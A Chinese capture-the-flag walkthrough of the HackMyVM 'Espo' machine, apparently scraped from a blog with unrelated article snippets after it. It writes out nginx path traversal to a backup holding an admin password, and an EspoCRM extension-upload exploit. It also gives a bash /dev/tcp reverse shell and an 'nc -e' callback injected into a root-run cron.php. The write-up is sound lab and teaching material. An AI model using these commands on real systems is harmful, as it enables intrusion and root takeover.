[HackMyVM]靶场 Espo

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:2a:a8:ba       PCS Systemtechnik GmbH
192.168.56.117  08:00:27:8a:f5:e6       PCS Systemtechnik GmbH

靶机:192.168.56.117

端口扫描

nmap 192.168.56.117
22/tcp open  ssh
80/tcp open  http

web界面就是一个登录界面

查了一下相关cve都需要登录才行

目录扫描

# gobuster dir -u http://192.168.56.117 -x html,txt,php,bak,zip --
...
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin/]
/api                  (Status: 301) [Size: 162] [--> http://192.168.56.117/api/]
/client               (Status: 301) [Size: 162] [--> http://192.168.56.117/client/]
/index.php            (Status: 200) [Size: 2480]
/index.php            (Status: 200) [Size: 2480]
/install              (Status: 301) [Size: 162] [--> http://192.168.56.117/install/]
/portal               (Status: 301) [Size: 162] [--> http://192.168.56.117/portal/]
/robots.txt           (Status: 200) [Size: 26]
/robots.txt           (Status: 200) [Size: 26]

但是尝试发现都进不去

之类nginx有个目录穿越漏洞,该靶场的nginx版本没有修复这个漏洞

Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复_目录遍历漏洞修复-CSDN博客

在admin后面加上../能穿越到上一级目录

但是用directory-list-2.3-medium.txt和common.txt  都不跑,换个字典

gobuster dir -u http://192.168.56.117/admin../ -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/admin                (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../admin/]
/_oldsite             (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../_oldsite/]
gobuster dir -u http://192.168.56.117/admin../_oldsite  -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/backup.zip           (Status: 200) [Size: 37975754]
/info                 (Status: 200) [Size: 540]

有个备份文件

在data/config.php文件发现账号密码

  'smtpUsername' => 'admin','smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',

登录成功就可以利用CVE了

web源码里面显示2022,所以我就找2022及以后的cve

看到了两个可以任意命令执行的,是通过上传拓展的zip实现

cve-2023-5966/Weaponized_Extension.zip at main · pedrojosenavasperez/cve-2023-5966 (github.com)

在github上面搜到这个exp,不过里面好像有个脏东西

它把/etc/passwd发到了一个恶意网站...好像跟RCE没什么关系

把他删了,然后上传到espo

反弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.56.104/4567  0>&1'
www-data@espo:/home/mandie$ ls -al                                                 
ls -al
total 48
drwxr-xr-x  6 mandie mandie 4096 Mar 10 05:16 .
drwxr-xr-x  3 root   root   4096 Jan 24 19:01 ..
lrwxrwxrwx  1 root   root      9 Jan 26 19:39 .bash_history -> /dev/null
-rw-r--r--  1 mandie mandie  220 Dec  4 15:42 .bash_logout
-rw-r--r--  1 mandie mandie 3526 Dec  4 15:42 .bashrc
drwxr-xr-x  3 mandie mandie 4096 Dec  4 15:42 .local
drwxr-xr-x 12 mandie mandie 4096 Dec  4 15:42 .oh-my-zsh
-rw-r--r--  1 mandie mandie  807 Dec  4 15:42 .profile
-rw-r--r--  1 mandie mandie 3890 Dec  4 15:42 .zshrc
-rwxr-xr--  1 mandie mandie  493 Dec  4 15:42 copyPics
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 pictures
-rwx------  1 mandie mandie   33 Jan 24 19:01 user.txt
drwxr-xr-x  2 mandie mandie 4096 Mar 10 05:16 videos

mandie目录下有user.txt但是权限不够,而且有个奇怪的可执行文件copyPics

用pyps64看一下进程

2024/03/10 05:27:01 CMD: UID=0    PID=3074   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3073   | /usr/sbin/cron -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3075   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=0    PID=3076   | /usr/sbin/CRON -f 
2024/03/10 05:27:01 CMD: UID=1000 PID=3077   | /bin/sh -c /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=0    PID=3078   | /bin/sh -c cd /var/www/html; /usr/bin/php -f cron.php > /dev/null 2>&1 
2024/03/10 05:27:01 CMD: UID=1000 PID=3079   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3080   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3081   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3082   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3083   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3084   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3085   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3087   | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ; 
2024/03/10 05:27:01 CMD: UID=1000 PID=3088   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:01 CMD: UID=1000 PID=3089   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3090   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3091   | /bin/bash /home/mandie/copyPics 
2024/03/10 05:27:02 CMD: UID=1000 PID=3092   | /bin/bash /home/mandie/copyPics 

发现是个定时执行的任务,一分钟执行一次,并且UID是1000,是mandie的权限,如果在脚本里面添加一条反弹shell的指令,我们就能拿到mandie的权限,但是发现无法编辑这个文件。

再看进程,发现

root权限执行力 cron.php,并且cron.php可编辑
 

-rw-r--r--  1 www-data www-data  1531 Dec  4 15:42 cron.php
echo "system('nc -e /bin/bash 192.168.56.104 4567');"  >>cron.php
# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.117] 36354
whoami
root

拿到root权限

好像直接越步了,无所谓,照样能拿到user和root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/526932.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

manjaro 安装 wps 教程

内核: Linux 6.6.16.2 wps-office版本: 11.10.11719-1 本文仅作为参考使用, 如果以上版本差别较大不建议参考 安装wps主体 yay -S wps-office 安装wps字体 (如果下载未成功看下面的方法) yay -S ttf-waps-fonts 安装wps中文语言 yay …

ZJUBCA研报分享 | 《BTC/USDT周内效应研究》

ZJUBCA研报分享 引言 2023 年 11 月 — 2024 年初,浙大链协顺利举办为期 6 周的浙大链协加密创投训练营 (ZJUBCA Community Crypto VC Course)。在本次训练营中,我们组织了投研比赛,鼓励学员分析感兴趣的 Web3 前沿话题…

kali当中不同的python版本切换(超简单)

kali当中本身就是自带两个python版本的 配置 update-alternatives --install /usr/bin/python python /usr/bin/python2 100 update-alternatives --install /usr/bin/python python /usr/bin/python3 150 切换版本 update-alternatives --config python 0 1 2编号选择一个即可…

【Linux】Shell及Linux权限

Shell Shell的定义 Shell最简单的定义是:命令行解释器。 Shell的主要任务:1. 将使用者的命令翻译给核心进行处理。2.将核心的处理结果翻译给使用者 为什么要有Shell? 使用者和内核的关系就相当于两个完全陌生的外国人之间的关系,他们要进…

农场管理小程序|基于微信小程序的农场管理系统设计与实现(源码+数据库+文档)

农场管理小程序目录 目录 基于微信小程序的农场管理系统设计与实现 一、前言 二、系统设计 三、系统功能设计 1、用户信息管理 2、农场信息管理 3、公告信息管理 4、论坛信息管理 四、数据库设计 五、核心代码 七、最新计算机毕设选题推荐 八、源码获取&#x…

Clion开发STM32之printf的缓冲区验证方式

前言 clion开发stm32时,涉及到printf函数的重写,一般我们重写__io_putchar函数经发现printf函数在没有加换行符时,数据不会立刻通过串口发送数据,而是等到1024字节之后发送数据 测试 主程序 现象 debug调试 不加换行的情况 总…

维修家用蓝宝石脱毛仪

今天收到客户寄过来的一款家用的蓝宝石脱毛仪,如下图所示 看这个做工,就是ulike的高仿产品。 客户反馈打光没有痛感,估计是灯管坏了,或者主板的驱动管坏。

【Python】成功解决ModuleNotFoundError: No module named ‘seaborn’

【Python】成功解决ModuleNotFoundError: No module named ‘seaborn’ 🌈 个人主页:高斯小哥 🔥 高质量专栏:Matplotlib之旅:零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程👈 …

Vue.js计算属性:实现数据驱动的利器

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

最全NVIDIA Jetson开发板参数配置和购买指南

NVIDIA开发的GPU不仅在电脑显卡领域占据大量份额,在嵌入式NVIDIA的Jeston系列开发板也近乎是领先的存在,特别是NVIDIA Jeston系列开发板在算力和成本的平衡上都要优于其他厂家,性价比很高,设备体积小。本博文旨在给采购NVIDIA Jes…

基于亚马逊云EC2+Docker搭建nextcloud私有化云盘

亚马逊EC2云服务器(Elastic Compute Cloud)是亚马逊AWS(Amazon Web Services)提供的一种云计算服务。EC2代表弹性计算云,它允许用户租用虚拟计算资源,包括CPU、内存、存储和网络带宽,以满足计算…

React-Mock数据

1.概念 说明:React中使用Mock数据主要是为了模拟后端接口和数据,以便前端开发可以在没有实际后端支持的情况下进行。 2.实现步骤 2.1安装 npm i -D json-server 2.2准备json文件 {"list":[{"name":"李四","age&q…